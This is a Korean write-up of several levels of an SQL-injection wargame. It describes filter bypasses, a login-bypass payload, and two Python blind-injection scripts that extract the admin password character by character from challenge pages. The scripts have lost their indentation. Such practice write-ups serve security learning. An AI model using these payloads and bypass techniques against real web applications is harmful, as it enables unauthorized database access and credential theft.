los 9

id 파라미터를 통해서 값을 받는다.
strtolower을 통해서 대문자가 있으면 소문자로 변환을 시켜주고
str_replace를 통해서 admin이라는 문자가 있으면 없애준다.
xss에서도 이런 방식으로 특정 문구를 못쓰게하는 로직이 있는데,
adadminmin 이런 식으로 값을 넣어주면
내부에 있는 admin은 사라지겠지만 그로 인해서 새로운 admin이 생기므로
bypass 될거다.
los 10

이전 문제들과 유형이 동일함
?pw=1' or id='admin' %23
los 11

이전보다 필터링이 늘어난 것을 확인 할 수 있음.
=,substr을 못쓰게 됐는데,
=은 lik로
substr은 substring,mid 함수로 대체를 할 수가 있다.
#!/usr/bin/python
import string
from requests import get
cookies = dict(PHPSESSID = "ue6m26kvj3sbr1oodi91n86rbb")
idlength = 8
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
letter = string.digits + string.ascii_letters
result = ''
for i in range(1,idlength+1):
for a in letter:
param = "pw=1' || id like 'admin' %26%26 ASCII(substring(pw,"+str(i)+",1)) like "+str(ord(a))+"%23"
new_url = url+param
print(new_url)
req = get(new_url,cookies=cookies)
if req.text.find("<h2>Hello admin</h2>") > 0:
print(str(i)+"st char is '"+a+"'").encode('utf-8')
result += a
print result
break
los 12

pw에 싱글쿼터 기능을 막아서 pw에서는 sql injection을 못하게 하려고 하는 것 같다.
그래서 no를 통해서 인젝션을 진행을 해봤다.
확인을 해보면,
substr,ascii가 막혀있다
substr은 substring으로
ascii은 ord로 필터링 해서 익스 코드를 짜주려고했다.
근데 substring이 필터링 되는 현상을 목격함.
11번에서는 substring을 잘 사용을 했는데...
이게 좀 의문이다.
그래서 substring을 mid 함수로 대체를 해서 코드를 짜줬다.
#!/usr/bin/python
import string
from requests import get
cookies = dict(PHPSESSID = "ue6m26kvj3sbr1oodi91n86rbb")
idlength = 8
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"
letter = string.digits + string.ascii_letters
result = ''
for i in range(1,idlength+1):
for a in letter:
param = "pw=1&no=1 || id like \"admin\" %26%26 ord(mid(pw,"+str(i)+",1)) like "+str(ord(a))+"%23"
new_url = url+param
print(new_url)
req = get(new_url,cookies=cookies)
if req.text.find("<h2>Hello admin</h2>") > 0:
print(str(i)+"st char is '"+a+"'").encode('utf-8')
result += a
print result
break